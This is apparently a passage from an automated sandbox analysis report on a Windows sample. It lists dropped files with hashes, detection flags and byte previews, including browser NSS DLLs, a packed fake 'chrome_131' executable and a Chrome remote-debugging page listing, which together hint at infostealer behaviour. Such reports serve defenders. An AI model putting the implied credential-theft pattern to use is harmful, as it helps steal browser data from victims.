SSDEEP:	48:cvIwWl8zs1Jg77aI9bjsWpW8VY/PYm8M4JnuEFu6S+q8COU0uHyMW5d:uIjfPI75jF7VGSJunC5wrW5d
MD5:	11FFAD67590695A1D40EE95C1A6C2E71
SHA1:	DBD3E4AD11F6829E22E8331D7D4E232122E336CE
SHA-256:	21FA88FE8F8275C3EF770BD0BCD043373126CED2EFDB1B31BD6990CA29A46A82
SHA-512:	2A77912CBB21D7336ED2C1C204EDA7F7DAC0BA0DEA0F5A1EBB2847292DF6849BD69F1EF7DB2F63C1AD8285DE8F24F0CC5DBC5A9B494C93B284E9D9FD1B37CA42
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="569025" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB05C.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	80550
Entropy (8bit):	3.0992930778826326
Encrypted:	false
SSDEEP:	768:a90Qpe7nwiauIFHARRivoINUQBdBAZ9FRbpwH1wkj0NFy+WJ:W1e7nwiauIm1AUQBTAzFRbSKkj0N+
MD5:	E1B79417B4A155D658BB9517B2DE8C74
SHA1:	8E7A293ECA97828996946A1E2C4B62F36AEFA71E
SHA-256:	2D5979A75693B739BB8E685E22BBD6419E0280FAF71884A761CC19561068813C
SHA-512:	79D02D326D03D6FCCC89E88F8F7B40DABA611AA108451291A30DEBB99B0A49BD953CF5AD497D87E1C2D3B4566C18EEA67A0FEE3DFC572F49C50FE6385BBFF81E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB0DA.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.692065564315256
Encrypted:	false
SSDEEP:	96:TiZYWWAWoPIYJY/WCHPYEZUuCtHiHIcsLw4+EmBaTxCHa7MNDaKIOwax:2ZDWB+Ru2QaTxCHAMNDOOwY
MD5:	519C319B7BA2622635099C12D0CF2919
SHA1:	306E9B5EF8E16772874B3E586474F49C84D6EDF3
SHA-256:	D43B9E45F8329F32ADD2EA9E370A283489463F623454B44A99F7F5F611CAEE05
SHA-512:	15EB07C670B9B629D9A9D21B165E7CF46A4ED7BD2EC235B401037A2FE3AFE1D10EDB929A435654AA2A743162E4ECF0F6A1DC8006BF384632C879B577DA2DE142
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5y992FSaRX.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_131[1].exe

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8707480
Entropy (8bit):	7.929778234534272
Encrypted:	false
SSDEEP:	196608:50ipMncd0lHU0kioa09gMC1tFKCnuvoMTQybYD+AvBjtO7:5VpBdxRej7nuPTH25tO
MD5:	D9A5E741B1F67593422BFB1A165288BB
SHA1:	0BC42E46E97FBF3B0754D26D88E43945EDC31A0B
SHA-256:	C81A924446D324B3AEB0772DFD9CBED34FB878AFF823BA2888362A22F7328FE8
SHA-512:	5A463B581C18E2A2076BBF888EE838745EB8FEA6E718B5882951E18A213F530589CB5CF3D61E2CC4014556DC65A327B56B42B915BD9CEA488ADB4782AF151EA4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...Cb#g.........."...........l................@.............................`......-.....`.................................................B0n.d....Pn.H....................P..............................(@n.(................................................... .........o.................. ..` .*... ..:....t..............@..@ ..l..P..`.Q.................@... ......m.......R.............@..@ ......m.......R.............@..@ ......n.......R.............@... P.....n.n.....R.............@..@ x.... n.i.....R.............@..B.imports.....0n...... R.............@....tls.........@n......"R..................rsrc........Pn......$R.............@..@.themida..W..`n......(R.............`....boot....l2......l2..(R.............`..`.reloc.......P.........................@........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.376892285855045
Encrypted:	false
SSDEEP:	48:SfNaoQdTEQkfNaoQAQxfNaoQpQ3fNaoQ50UrU0U8Qa:6NnQdTEQQNnQAQNNnQpQvNnQ50UrU0Uy
MD5:	22A8B3C441E51B40D54DFFD52E1EE99B
SHA1:	F12380FB5E1C5B6F3AB0229BB1952CBB836C381B
SHA-256:	791DC2EE28EAFCA0F1D37297449ED97F5C5E003D6C2B9511D82442426F44A42D
SHA-512:	2451B59316A826E37CEFE0E1B98188FE795BA792C9FFDCB4B129D872E18EF0C825C06F63CE351285CE620C2C51AA2EB55942F1F99149FAC04FB98F46B550F866
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4D5902A886ABEB16CFEBC0C8F82BE71D",.. "id": "4D5902A886ABEB16CFEBC0C8F82BE71D",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4D5902A886ABEB16CFEBC0C8F82BE71D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/740DDF80CF60EAA7DEF6BC2035B510CE",.. "id": "740DDF80CF60EAA7DEF6BC2035B510CE",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/740DDF80CF60EAA7DEF6BC2035B510CE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lxn3pxg.ghy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
